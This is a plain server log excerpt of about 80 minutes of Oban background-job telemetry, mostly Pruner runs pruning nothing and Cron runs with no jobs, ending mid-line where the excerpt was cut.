11:19:22.992 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:52.994 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.266 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:20:22.997 [info] {"source":"oban","duration":1726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:52.999 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.266 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:21:23.001 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:53.002 [info] {"source":"oban","duration":565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.267 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:22:23.004 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:53.007 [info] {"source":"oban","duration":2190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.268 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:23:23.009 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:53.010 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.270 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:24:23.011 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:53.013 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.272 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:25:23.014 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:53.016 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.274 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:26:23.018 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:53.020 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.274 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:27:23.023 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:53.025 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.276 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:28:23.027 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:53.028 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.278 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:29:23.031 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:53.034 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.280 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:30:23.035 [info] {"source":"oban","duration":1108,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:53.037 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.282 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:31:23.039 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:53.041 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.284 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:32:23.043 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:53.045 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.285 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:33:23.048 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:53.049 [info] {"source":"oban","duration":968,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.287 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:34:23.051 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:53.053 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.289 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:35:23.054 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:53.057 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.291 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:36:23.059 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:53.061 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.292 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:37:23.064 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:53.067 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.292 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:38:23.068 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:53.071 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.294 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:39:23.073 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:53.076 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.296 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:40:23.078 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:53.081 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.297 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:41:23.084 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:53.087 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.298 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:42:23.089 [info] {"source":"oban","duration":1662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:53.092 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.299 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:43:23.095 [info] {"source":"oban","duration":1924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:53.097 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.300 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:44:23.100 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:53.103 [info] {"source":"oban","duration":2243,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.301 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:45:23.106 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:53.109 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.302 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:46:23.111 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:53.114 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.303 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:47:23.117 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:53.118 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.304 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:48:23.121 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:53.124 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.306 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:49:23.126 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:53.128 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.307 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:50:23.130 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:53.133 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.307 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:51:23.136 [info] {"source":"oban","duration":2110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:53.139 [info] {"source":"oban","duration":2020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.309 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:52:23.142 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:53.145 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.309 [info] {"source":"oban","duration":182,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:53:23.148 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:53.150 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.311 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:54:23.152 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:53.155 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.313 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:55:23.158 [info] {"source":"oban","duration":1884,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:53.161 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.314 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:56:23.164 [info] {"source":"oban","duration":2071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:53.167 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.315 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:57:23.170 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:53.173 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.316 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:58:23.176 [info] {"source":"oban","duration":2063,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:53.179 [info] {"source":"oban","duration":1934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.318 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 11:59:23.182 [info] {"source":"oban","duration":1694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:53.185 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.319 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:00:23.187 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:53.190 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:00.321 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:01:23.193 [info] {"source":"oban","duration":1940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:01:53.196 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:00.323 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:02:23.199 [info] {"source":"oban","duration":1532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:02:53.202 [info] {"source":"oban","duration":2131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:00.325 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:03:23.205 [info] {"source":"oban","duration":1517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:03:53.208 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:00.325 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:04:23.211 [info] {"source":"oban","duration":2536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:04:53.214 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:00.326 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:05:23.217 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:05:53.220 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:00.328 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:06:23.223 [info] {"source":"oban","duration":2047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:06:53.226 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.330 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:07:23.228 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:53.231 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.331 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:08:23.234 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:53.237 [info] {"source":"oban","duration":1882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.333 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:09:23.240 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:53.243 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.334 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:10:23.246 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:53.248 [info] {"source":"oban","duration":2036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.336 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:11:23.251 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:53.254 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.338 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:12:23.256 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:53.256 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.340 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:23.258 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:53.261 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.342 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:23.264 [info] {"source":"oban","duration":2168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:53.267 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.344 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:23.270 [info] {"source":"oban","duration":1551,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:53.273 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.346 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:23.276 [info] {"source":"oban","duration":2013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:53.279 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.348 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:23.282 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:53.285 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.350 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:23.287 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:53.290 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.351 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:23.292 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:53.294 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.353 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:23.297 [info] {"source":"oban","duration":2244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:53.300 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.355 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:23.302 [info] {"source":"oban","duration":2030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:53.305 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.357 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:23.308 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:53.311 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.359 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:23.314 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:53.317 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.360 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:23.319 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:53.322 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.362 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:23.325 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:53.327 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.363 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:23.330 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:53.332 [info] {"source":"oban","duration":1972,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.365 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:23.334 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:53.337 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.367 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:23.340 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:53.342 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.368 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:23.345 [info] {"source":"oban","duration":2037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:53.348 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.370 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:23.351 [info] {"source":"oban","duration":2066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:53.354 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.371 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:23.357 [info] {"source":"oban","duration":1953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:53.360 [info] {"source":"oban","duration":1739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.373 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:23.363 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:53.366 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.375 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:23.368 [info] {"source":"oban","duration":1608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:53.371 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.376 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:23.373 [info] {"source":"oban","duration":1628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:53.376 [info] {"source":"oban","duration":2090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.378 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:23.380 [info] {"source":"oban","duration":2804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:53.383 [info] {"source":"oban","duration":2163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.378 [info] {"source":"oban","duration":158,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:23.386 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:53.388 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.380 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:23.391 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:53.393 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.381 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:23.396 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:53.399 [info] 